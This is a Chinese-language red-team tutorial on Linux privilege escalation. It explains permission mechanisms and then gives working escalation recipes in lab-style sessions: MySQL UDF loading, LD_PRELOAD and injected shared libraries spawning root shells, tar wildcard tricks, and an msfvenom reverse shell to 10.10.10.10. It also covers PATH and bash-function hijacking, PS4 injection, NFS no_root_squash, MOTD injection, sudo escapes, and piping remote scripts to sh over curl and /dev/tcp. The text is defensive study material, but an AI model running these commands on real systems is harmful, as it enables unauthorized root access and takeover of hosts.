「红队笔记」Linux提权精讲

「红队笔记」Linux 提权精讲

Privilege Escation 可缩写为 PrivEsca 或 PE。提权操作存在的原因:应用程序通常是按需配置权限的

提权原理

重要的权限体系

  • UGO 基本权限:Linux 操作系统中最常见的权限管理方式,UGO 分别代指文件所有者、组和其他人
    • 补充知识点 1:目录的权限。对于目录来说,目录中存储的是该目录下文件/目录名称的列表,因此如果一个用户拥有对某个目录的 r 权限,这意味着可以通过 ls 命令列出文件,而如果拥有的是 x 权限,这意味着用户可以进入该目标并成为当前的工作目录,如果没有对某个目录的 x 权限,那么就无法查看该目录下文件的具体内容
    • 补充知识点 2:修改文件权限的相关信息。chown 用于改变文件所有者,chgrp 用于改变文件所属的组,chmod 用于改变文件的权限
    • 补充知识点 3:不同文件类型的表示。d 表示目录;- 表示普通文件;l 表示链接文件;b 表示块设备文件;c 表示字符设备文件;s 表示 socket 文件
    • 补充知识点 4:权限分配的两种方式
      • Symbolic method:chmod WhoWhatWhich file | directory
        • Who - represents identities: u,g,o,a (user, group, other, all)
        • What - represents actions: +, -, = (add, remove, set exact)
        • Which - represents access levels: r, w, x (read, write, execute) and s
      • Numeric method:chmod ### file | directory
  • SUID, SGID, sticky: s means special.
    • SUID: A file with SUID always executes as the user who owns the file. If the file owner doesn’t have execute permissions, then use an uppercase S here.
    • SGID: If set on a file, it allows the file to be executed as the group that owns the file (similar to SUID). If set on a directory, any files created in the directory will have their group ownership set to that of the directory owner.
    • other + t (sticky): This permission does not affect individual files. Only the owner (and root) of a file can remove the file within that directory.. A common example of this is the /tmp directory
    • Setting special permissions: SUID = 4; SGID = 2; Sticky = 1; chmod X### file | directory
    • note: The permission set is noted by the lowercase t or x, where the x would normally indicate the execute privilege.

参考文章:
Linux ugo 权限 - sparkdev - 博客园 (cnblogs.com)
Linux permissions: SUID, SGID, and sticky bit | Enable Sysadmin (redhat.com)

  • Capabilities:
    • 背景:Linux 区分两类进程,特权进程(其有效用户标识为 0,也就是超级用户 root)和非特权进程(其有效用户标识为非零)。特权进程绕过所有内核权限检查,而非特权进程则根据进程凭证(通常为有效 UID,有效 GID 和补充组列表)进行完全权限检查。
    • capabilities 机制出现的原因:SUID 虽然可以解决普通用户无需密码以 root 权限运行某些命令的问题,却带来了安全隐患。当运行设置了 SUID 的命令时,通常只是需要很小一部分的特权,但是 SUID 给了它 root 具有的全部权限。因此一旦 被设置了 SUID 的命令出现漏洞,就很容易被利用。也就是说 SUID 机制在增大了系统的安全攻击面。
    • 机制:将与 root 关联的特权划分为精细粒度的特权集,并将其按需分配给线程或者文件。对于进程来说,capabilities 是细分到线程的,即每个线程可以有自己的 capabilities。对于文件来说,capabilities 保存在文件的扩展属性中。
      • 线程的 capabilities:每一个线程,具有 5 个 capabilities 集合,每一个集合使用 64 位掩码来表示,显示为 16 进制格式。
        • Permitted:并不使能线程的 capabilities。从 EffectiveInheritable 集合中添加或删除 capability 的前提是,添加或删除的 capability 必须包含在 Permitted 集合中
        • Effective:内核检查线程是否可以进行特权操作时,检查的对象便是 Effective 集合。
        • Inheritable:当执行 exec() 系统调用时,能够被新的可执行文件继承的 capabilities,被包含在 Inheritable 集合中。但包含在该集合中的 capabilities 并不会自动继承给新的可执行文件,即不会添加到新线程的 Effective 集合中,它只会影响新线程的 Permitted 集合。
        • Bounding:Bounding 集合是 Inheritable 集合的超集,如果某个 capability 不在 Bounding 集合中,即使它在 Permitted 集合中,该线程也不能将该 capability 添加到它的 Inheritable 集合中。Bounding 集合的 capabilities 在执行 fork() 系统调用时会传递给子进程的 Bounding 集合,并且在执行 execve 系统调用后保持不变。
        • Ambient:非特权用户如果在 Permitted 集合中有一个 capability,那么可以添加到 Ambient 集合中,这样它的子进程便可以在 AmbientPermitted 和 Effective 集合中获取这个 capability。
      • 文件的 capabilities
        • Permitted:在文件被执行时,会与线程的 Bounding 集合计算交集,然后添加到线程的 Permitted 集合中。
        • Inheritable:这个集合与线程的 Inheritable 集合的交集,会被添加到执行完 execve() 后的线程的 Permitted 集合中。
        • Effective:仅仅是一个标志位。如果设置开启,那么在执行完 execve() 后,线程 Permitted 集合中的 capabilities 会自动添加到它的 Effective 集合中。

这部分看着有点头疼,下次遇到了再捋捋,先做个简单的记录,推荐第一篇文章
Linux Capabilities 入门教程:概念篇 – 云原生实验室 - Kubernetes|Docker|Istio|Envoy|Hugo|Golang|云原生 (icloudnative.io)
Linux Capabilities 简介 - sparkdev - 博客园 (cnblogs.com)
另外关于渗透中如何查看 capabilities 使用的命令如下
/sbin/getcap -r / 2>/dev/null

  • AppArmor 和 SELinux:这两种安全模块通过强制访问控制(MAC)策略增强了系统的安全性。它们可以限制进程和文件的访问权限,从而降低潜在的安全风险。
    • AppArmor 通过定义所谓的“配置文件”,为每个应用程序设定允许和禁止的操作,从而限制进程对系统资源的访问。
    • SELinux 通过为文件、进程等系统资源分配安全上下文(安全标签),并根据预先定义的安全策略规则来控制访问
  • Access Control Lists (ACLs):ACLs 提供了比传统文件权限更灵活的权限管理方式,允许为特定用户和组分配文件或目录的特定权限。
  • 其他二十多个权限体系和安全机制

提权原理归纳

原理1:低权限可修改的可执行文件或脚本,能以高权限身份运行。这是从权限体系总结出来的,是一大类情形的原理。

原理2:从用户行为角度,用低权限用户的运维人员,也需要记忆、输入、备份凭据,以备使用高权限用户完成操作。

原理3:在权限的上层,捕捉、拦截、修改凭据信息或权限信息,如一些基于内存读取操作实现的内核利用。

Linux 提权枚举

这里只简单记录,对于自己比较熟练的不过赘述

终端升级与提高稳定性

1
2
3
4
5
6
7
8
python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo
fg
export TERM=xterm-color

# 或者
rlwrap nc -lvnp <port>

ps -ef

ps -A-e:查看所有运行进程

ps axjf:查看进程树

ps aux:显示所有用户的进程(a),显示启动进程的用户(u),并显示未连接到终端的进程(x)。

top -n 1 : top 命令可以帮助用户监控系统性能,查看当前运行的进程及其资源使用情况,如 CPU 使用率、内存使用情况等。-n 是一个选项,用于指定 top 命令应显示的迭代次数。

netstat

netstat -a:显示所有正在监听的端口和已建立的连接。

netstat -atnetstat -au 也可用于分别列出 TCP 或 UDP 协议。

netstat -tp:列出服务名称和 PID 信息的连接。

netstat -ano-a,显示所有套接字;-n,不解析名称;-o:显示计时器

/etc/fstab

检测未挂载的文件系统

1
cat /etc/fstab

提权辅助工具

  1. LinPEAS,全称为 Linux Privilege Escalation Awesome Script,是一个用来搜索类 unix 主机上可能的提权路径的自动化脚本。Github: https://github.com/carlospolop/privilegeescalation-awesome-scripts-suite/tree/master/linPEAS
  2. LinEnum:一个流行的 Linux 本地枚举脚本,用于收集有关系统的各种信息,识别不安全的配置,提取可用于提升权限的漏洞信息。 GitHub: https://github.com/rebootuser/LinEnum
  3. linux-smart-enumeration (lse):这是一个具有模块化功能的 Linux 本地枚举脚本,它可在不同的等级上运行以获取不同详细程度的信息。 GitHub: https://github.com/diegocat-treitos/linux-smart-enumeration
  4. linux-exploit-suggester:该工具主要用于识别 Linux 系统中可能存在的可利用的漏洞,以帮助用户提升权限。 GitHub: https://github.com/mzet-/linux-exploit-suggester
  5. Linuxprivchecker:一个用于检查 Linux 系统潜在安全问题的 Python 脚本,包括文件权限、系统服务和 SUID 二进制文件等。 GitHub: https://github.com/sleventyeleven/linuxprivchecker
  6. unix-privesc-check:这个脚本主要用于识别类 UNIX 系统中可能的权限升级路径,通过检查文件权限、系统配置等方面的问题。 GitHub: https://github.com/pentestmonkey/unix-privesc-check

目标系统的环境将影响您将要使用的工具,例如,如果目标系统上没有安装 Python,那么用 Python 编写的工具将无法运行;如果系统针对某些函数、关键字做了屏蔽,就要换一个试试,这就是为什么最好熟悉几个工具,而不是只有一个专用工具。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 从GitHub直接执行
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# 从内存中执行,结果发回kali
nc -lvnp 81 | tee linpeas.out #kali
curl 10.10.10.10/linpeas.sh | sh | nc 10.10.10.10 81 #靶机

# 没有curl的情况,-q 指定 “nc” 命令中的超时时间。
sudo nc -q 5 -lvnp 80 < linpeas.sh #kali
cat < /dev/tcp/10.10.10.10/80 | sh #靶机

# 输出到文件
./linpeas.sh -a > /dev/shm/linpeas.txt #主机
less -r /dev/shm/linpeas.txt #读取分色文件

提权实例

服务漏洞利用提权

MySQL-UDF 提权

UDF: User Defined Function

提权条件

  • 掌握 MySQL 数据库的账户,该账户对 MySQL 拥有 create、insert、delete 等权限,以创建和使用函数(最好直接是 root 账户)
  • securefile_priv 为空字符串(’’):show variables like '%secure_file_priv%'; 这是能否利用 udf 提权的重要条件。它可以限制这些操作仅在特定目录下进行,以增强服务器的安全性。如果设置为 NULL 则禁用这些操作

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

两种提权手法

手动上传动态链接库

查询是否 secure_file_priv 没有限制

1
2
3
4
5
6
7
8
mysql> show global variables like '%secure_file_priv%';
show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.00 sec)
动态链接库

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

Metasploit 里面都自带了对应系统的动态链接库文件。其位于 /usr/…/metasploit-framework/data/exploits/mysql

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[/usr/…/metasploit-framework/data/exploits/mysql]
└─$ ls -liah
total 56K
395515 drwxr-xr-x 2 root root 4.0K Jun 20 05:31 .
394285 drwxr-xr-x 202 root root 20K Jun 20 05:31 ..
402381 -rwxr-xr-x 1 root root 6.5K Jun 1 12:22 lib_mysqludf_sys_32.dll
402382 -rw-r--r-- 1 root root 5.6K Jun 1 12:22 lib_mysqludf_sys_32.so
402383 -rwxr-xr-x 1 root root 7.0K Jun 1 12:22 lib_mysqludf_sys_64.dll
402384 -rw-r--r-- 1 root root 7.9K Jun 1 12:22 lib_mysqludf_sys_64.so
插件目录位置
1
2
3
4
5
6
mysql> show variables like '%plugin%';
+---------------+------------------------------+
| Variable_name | Value |
+---------------+------------------------------+
| plugin_dir | /usr/local/mysql/lib/plugin/ |
+---------------+------------------------------+

如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹。关于如何确定 MySQL 的安装目录:

1
2
3
4
5
6
mysql> select @@basedir;
+------------------+
| @@basedir |
+------------------+
| /usr/local/mysql |
+------------------+
写入动态链接库

可以通过 SQLMap 来写入,前提:SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击

1
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
1
2
ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )
# 这个报错,因为 lib_mysqludf_sys_64.dll 失败,最后使用 lib_mysqludf_sys_32.dll 才成功,所以这里的 dll 应该和系统位数无关,可能和 MySQL 的安装版本有关系,而 PHPStudy 自带的 MySQL 版本是 32 位的
创建自定义函数并调用命令
1
mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:

1
2
3
4
5
6
mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_eval | 0 | udf.dll | function |
+----------+-----+---------+----------+

这里的 sys_eval 支持自定义,接着就可以通过创建的这个函数来执行系统命令了:

1
mysql > select sys_eval('whoami');
编译动态链接库

使用的脚本:MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) - Linux local Exploit (exploit-db.com)

准备利用文件
1
gcc -g -c raptor_udf2.c -fPIC
  • fPIC :这个选项告诉编译器生成位置无关代码(Position-Independent Code,PIC)。这种代码可以在内存中的任何位置执行,这对于创建共享库(如动态链接库)非常有用,因为它们可以被多个程序在运行时共享
  • -c :这个选项指示编译器仅编译源代码,但不进行链接。编译器将生成一个目标文件(object file),通常具有.o 扩展名。这对于将多个源文件分别编译成目标文件,然后链接为一个可执行程序或库很有用。
1
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
  1. -shared : 这个选项指示编译器生成一个共享库(shared library)文件,而不是一个可执行文件。共享库允许多个程序共享相同的库代码,从而减少了程序的大小和内存占用。
  2. -Wl : 该选项告诉编译器将后面的选项传递给链接器。在这里,它用于传递 - soname,raptor_udf2.so 选项。(Warning and Link)
  3. -soname,raptor_udf2.so : 这个选项设置了生成的共享库的“soname”(共享对象名称)。soname 是一个简短的标识符,用于在运行时链接器(如 ld.so 或 ld-linux.so)解析共享库依赖关系时引用该共享库。通常,soname 包括主版本号,以便在升级库时保持二进制兼容性。
  4. -lc : 这个选项告诉链接器链接 C 标准库(libc)。这通常是编译 C 程序所必需的,因为它提供了基本的系统函数,如 malloc、free 等。

利用过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
use mysql;

# "foo" 在计算机编程和网络领域中是一个常用的占位符名称
# BLOB 表示 "Binary Large Object",它可以存储大量的二进制数据
create table foo(line blob);

# 装载动态链接库
insert into foo values(load_file('/home/user/tools/mysqludf/
raptor_udf2.so'));

# 写入到插件目录中
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

// 找plugin目录中的.so文件
create function do_system returns integer soname 'raptor_udf2.so';

# 查询已有udf
SELECT * FROM mysql.func;

# 提权
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

如果 dumpfile 失败,对于 AppArmor(如果您使用的是基于 Debian 的系统,如 Ubuntu),编辑 /etc/apparmor.d/usr.sbin.mysqld 文件,找到以下行:/usr/sbin/mysqld {,在此行下方添加以下内容:/usr/lib/mysql/plugin/**rw,

可读 shadow 文件利用提权

转存哈希信息后,使用 john 进行爆破

可写 shadow 文件利用提权

1
2
3
4
5
# 操作前备份,防止有回退的需求
cp /etc/shadow /tmp/shadow.bak

# 指定密码哈希类型和新密码,得到字符串后将其替换root的密码哈希即可
mkpasswd -m sha-512 passwd123

可写 passwd 提权

1
2
3
4
5
# 提前备份
cp /etc/passwd /tmp/passwd.bak

# 生成密码哈希,得到字符串后将其替换root的密码哈希或者x即可
openssl passwd passwd123

sudo 环境变量提权

LD_PRELOAD 是允许任何程序使用共享库的功能。如果启用了“env_keep”选项,我们可以生成一个共享库,该共享库将在运行程序之前加载和执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 检查 LD_PRELOAD(带有 env_keep 选项)
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find

# 编写一个简单的 C 代码作为共享对象(.so 扩展名)文件编译
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

# gcc 编译为共享对象文件
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

# 运行用户拥有sudo权限的程序,并且使用此共享对象文件
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

自动任务文件权限提权

1
2
3
4
# 查看自动任务文件
cat /etc/crontab

# 根据自动任务文件内容进行下一步考虑,如果是以root权限定时运行脚本,则可以考虑对脚本进行写入,来反弹shell或者其他提权手法

自动任务 PATH 环境变量提权

1
# 如果当前用户家目录被写入了crontab中的环境变量里。且自动任务的脚本不是绝对路径,则可以创建一个同名文件来替换执行,需要补充的是crontab中的环境变量的顺序决定了查找相对路径文件的次序

自动任务通配符提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 自动任务调用的脚本中使用了tar命令并包含了通配符
user@RedteamNotes:~$ cat /usr/local/bin/compress.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *

# 生成反弹shell的可执行文件,将其上传到tar命令操作的目录中
┌──(kali㉿kali)-[~/Musics/PrivEscaLabs]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 - f elf -o shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: shell.elf

# 为可执行文件添加运行权限
user@RedteamNotes:~$ chmod +x shell.elf

# 创建特殊的文件名,使得通配符在和tar命令结合的情况下,执行指定的文件
user@RedteamNotes:~$ touch /home/user/--checkpoint=1
user@RedteamNotes:~$ touch /home/user/--checkpoint-action=exec=shell.elf

SUID 可执行文件已知利用提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/Musics/PrivEscaLabs]
└─$ searchsploit exim 4.84
-----------------------------------------------------------------------------
Exploit Title
| Path
-----------------------------------------------------------------------------
Exim - 'perl_startup' Local Privilege Escalation (Metasploit)
| linux/local/39702.rb
Exim 4.84-3 - Local Privilege Escalation
| linux/local/39535.sh
Exim < 4.86.2 - Local Privilege Escalation
| linux/local/39549.txt
Exim < 4.90.1 - 'base64d' Remote Code Execution
| linux/remote/44571.py
PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution
| php/webapps/42221.py
-----------------------------------------------------------------------------
Shellcodes: No Results

SUID 共享库注入提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 根据文件名也可以猜测出一些东西,
user@RedteamNotes:~$ /usr/local/bin/suid-so
Calculating something, please wait...
[===================================================================>]
99 %
Done.

# 使用strings命令查看该文件,发现了一个路径/home/user/.config/libcalc.so
strings /usr/local/bin/suid-so

# 进一步查看
user@RedteamNotes:~$ strace /usr/local/bin/suid-so 2>&1 | grep '/home/user'
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file

# 按照上述路径,编译一个同名的动态链接库
user@RedteamNotes:~/.config$ vim libcalc.c
user@RedteamNotes:~/.config$ cat libcalc.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}

# 编译
user@RedteamNotes:~/.config$ gcc -shared -fPIC -o libcalc.so libcalc.c

# 执行
user@RedteamNotes:~/.config$ /usr/local/bin/suid-so
Calculating something, please wait...
bash-4.1# whoami
root

static void inject() __attribute__((constructor));:声明一个名为 inject 的静态函数,并使用 GCC 的 __attribute__((constructor)) 属性。这个属性使得在程序或动态库加载时自动执行 inject 函数,而不需要显式调用它。

SUID 环境变量利用提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 尝试运行有SUID的程序
user@RedteamNotes:~$ /usr/local/bin/suid-env
Starting web server: apache2httpd (pid 1596) already running
.

# 查看可见字符,得到了一个命令
user@RedteamNotes:~$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start

# 由于使用的命令并不是绝对路径,因此可以使用环境变量来劫持,编译一个同名的可执行文件,然后将当前目录写入到环境变量中,这样程序运行的时候会优先从当前目录下寻找service程序
user@RedteamNotes:~$ vim service.c
user@RedteamNotes:~$ gcc -o service service.c
user@RedteamNotes:~$ export PATH=.:$PATH
user@RedteamNotes:~$ echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/sbin:/usr/sbin
:/usr/local/sbin

巧用 SUID-shell 功能提权 #1

bash 版本小于 4.2 时,可以定义函数,并且用路径的组合作为函数名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 查看可见字符,发现一个带有绝对路径的程序运行
user@RedteamNotes:~$ strings /usr/local/bin/suid-env2
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
/usr/sbin/service apache2 start

# 查看bash版本,小于4.2则可能存在这个提权利用
user@RedteamNotes:~$ /bin/bash --version
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later

# 定义包含路径的函数
user@RedteamNotes:~$ function /usr/sbin/service { /bin/bash -p; }

# 将该函数或可执行文件导出为环境变量
user@RedteamNotes:~$ export -f /usr/sbin/service

# 执行SUID的程序
user@RedteamNotes:~$ /usr/local/bin/suid-env2
root@RedteamNotes:~# whoami
root

巧用 SUID-shell 功能提权 #2

bash 版本低于 4.4 时,可以在调试中对环境变量进行设置

1
2
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs
/tmp/rootbash)' /usr/local/bin/suid-env2
  • -i 参数表示 “ignore environment”,即忽略现有的环境变量。
  • xtrace 选项被设置, shell 执行每个命令之前都打印该命令。PS4 环境变量定义了这个打印输出的格式。PS4 被设置为一个命令序列,该命令序列首先会复制 /bin/bash 到/ tmp/rootbash,然后将新文件设置为 SUID 和可执行状态。
  • SHELLOPTS 是一个只读的 Bash 环境变量,用于列出当前已启用的 shell 选项。
  • PS 代表 “Prompt String”。这是用于定义 shell 提示符的环境变量。

密码和密钥历史文件提权

注意家目录下的历史文件

密码和密钥配置文件查看提权

配置文件中可能有用户名和密码,因此要有足够的敏感度,对这方面的文件不能有遗漏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
user@debian:~$ ls -liha
total 56K
155042 drwxr-xr-x 5 user user 4.0K May 15 2020 .
155041 drwxr-xr-x 3 root root 4.0K May 15 2017 ..
155056 -rw------- 1 user user 140 May 15 2020 .bash_history
155045 -rw-r--r-- 1 user user 220 May 12 2017 .bash_logout
155043 -rw-r--r-- 1 user user 3.2K May 14 2017 .bashrc
375363 drwxr-xr-x 2 user user 4.0K May 13 2017 .irssi
155071 drwx------ 2 user user 4.0K May 15 2020 .john
156485 -rw------- 1 user user 137 May 15 2017 .lesshst
155047 -rw-r--r-- 1 user user 212 May 15 2017 myvpn.ovpn
155048 -rw------- 1 user user 11 May 15 2020 .nano_history
155044 -rw-r--r-- 1 user user 725 May 13 2017 .profile
155049 drwxr-xr-x 8 user user 4.0K May 15 2020 tools
155057 -rw------- 1 user user 6.2K May 15 2020 .viminfo

user@debian:~$ cat myvpn.ovpn
client
dev tun
proto udp
remote 10.10.10.10 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
tls-client
remote-cert-tls server
auth-user-pass /etc/openvpn/auth.txt
comp-lzo
verb 1
reneg-sec 0

user@debian:~$ cat /etc/openvpn/auth.txt
root
password123
user@debian:~$ su
Password:
root@debian:

SSH 密钥敏感信息提权

.ssh 文件可能在用户家目录,也可能在根目录下,并且其中可能存在私钥泄露,并且注意本地创建文件写入私钥内容后文件权限要更改为 600,否则无法登录,除此之外还能会出现算法和签名不匹配的情况,因此有时需要指定算法类型

1
2
3
4
5
6
7
user@debian:~$ ls -liah /.ssh
total 12K
1175041 drwxr-xr-x 2 root root 4.0K Aug 25 2019 .
2 drwxr-xr-x 22 root root 4.0K Aug 25 2019 ..
1175042 -rw-r--r-- 1 root root 1.7K Aug 25 2019 root_key
┌──(kali㉿kali)-[~/Musics/PrivEscaLabs]
└─$ ssh -i id_rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.10.174.100

NFS 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# /etc/exports文件中可以看到更详尽的NFS设置
user@RedteamNotes:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be
exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check)
hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
#/tmp *(rw,sync,insecure,no_subtree_check)

# 发现存在 no_root_squash,它的作用是允许 root 用户在 NFS 客户端机器上拥有和在 NFS 服务器上相同的权限。那么我们可以在把本机上切换到 root 用户,挂载后将本地 root 用户的程序复制到 NFS 目录中
# 挂载
┌──(root㉿kali)-[/home/kali/Musics/PrivEscaLabs]
└─# mkdir /tmp/nfs
┌──(root㉿kali)-[/home/kali/Musics/PrivEscaLabs]
└─# mount -o rw,vers=3 10.10.10.12:/tmp /tmp/nfs
Created symlink /run/systemd/system/remote-fs.target.wants/rpcstatd.
service → /lib/systemd/system/rpc-statd.service.
┌──(root㉿kali)-[/home/kali/Musics/PrivEscaLabs]
└─# cd /tmp/nfs

# 生成root属主的可执行文件写入到共享目录中
┌──(root㉿kali)-[/tmp/nfs]
└─# msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o
/tmp/nfs/shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from
the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 48 bytes
Final size of elf file: 132 bytes
Saved as: /tmp/nfs/shell.elf

# 增加运行权限
┌──(root㉿kali)-[/tmp/nfs]
└─# chmod +xs shell.elf

内核利用提权

内核漏洞利用方法很简单:1.确定内核版本,2.为目标系统的内核版本搜索并找到一个漏洞利用代码。3.运行漏洞利用

可以直接使用已编译的漏洞利用,如 Binary Exploits( https://gitlab.com/exploitdatabase/exploitdb-bin-sploits )上就有比较全的内核漏洞编译文件,或可节约编译的探索时间,但的确有一定几率不成功,需要重新编译,甚至本地编译。Linux Kernel CVEs( https://www.linuxkernelcves.com )是一个直观的内核 CVE 检索目录。

doas less+vi 提权

find / -perm -u=s -type f 2>/dev/null 发现有 /usr/bin/doas 可执行文件。根据 doas 的用法,查看其配置文件:

1
2
3
RedteamNotes$ cat /etc/doas.conf
permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog
permit nopass keepenv root as root

执行上述命令,在 less 界面按 v 键启动 vi 编辑状态。按照 vi 启动 shell 的命令语法,在 vi 中执行

1
:!sh

利用 MOTD 机制提权

1
2
3
4
5
6
7
# 枚举
ls -al /etc/update-motd.d/

# 找到可写的文件,且此文件是在登陆时自动执行的

# 利用
echo "cp /bin/bash /home/RedteamNotes/bash && chmod u+s /home/RedteamNotes/bash" >> /etc/update-motd.d/00-header

可预测 PRNG 暴力破解 SSH 提权

在 OpenSSL 0.9.8c-1 < 0.9.8g-9 的 debian 及衍生版本中有可预测伪随机谁生成机制的 SSH 暴力破解利用

5622.txt 中介绍了使用方法。

  1. 下载 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/binsploits/5622.tar.bz2 密钥对包
  2. 解压后,用 grep -lr 在其中搜索你枚举或搜索到的公钥中前 20-30 个字符。找到后,取用对应的私钥,完成 ssh 的登录。

sudo 风暴

CVE-2019-14287

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 切换用户
sudo -u jack

# 前提1
(ALL, !root) NOPASSWD: /bin/bash

# 前提2
# CVE-2019-14287影响的是1.8.28及其之前的sudo版本。这个漏洞在1.8.28p1版本中被修复。

# -1会被解释为0
sudo -u#-1 /bin/bash

# 可以查看sudo的版本
sudo -V | grep version

sudo apt

1
2
3
4
5
6
jackie@RedteamNotes:~$ sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
Failed to start apt-news.service: Transport endpoint is not connected
See system logs and 'systemctl status apt-news.service' for details.
Failed to start esm-cache.service: Transport endpoint is not connected
See system logs and 'systemctl status esm-cache.service' for details.
root@RedteamNotes:/tmp#

-o APT::Update::Pre-Invoke::=/bin/bash:这是一个 apt 命令的选项,用于设置在运行 apt update 之前执行的预处理脚本。::类似于名字空间,逐级访问子配置

1
2
3
4
5
6
7
8
9
# 另外两种利用方法,取决于版本等环境因素。apt-get用法与此相同
# 1
sudo apt changelog apt
!/bin/sh

# 2
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl

sudo apache2

1
2
3
4
5
6
7
# 使用此选项加载 /etc/shadow 文件,将产生一条错误信息
user@RedteamNotes:~$ sudo apache2 -f /etc/shadow
Syntax error on line 1 of /etc/shadow:
Invalid command
'root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.
jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::', perhaps misspelled or defined by a
module not included in the server configuration

sudo ash

1
2
3
jackie@RedteamNotes:~$ sudo /usr/bin/ash
# whoami
root

ash 是 Bourne shell(sh)的一个轻量级版本,它消耗的系统资源更少,通常用于嵌入式系统和资源有限的环境。

sudo awk

1
2
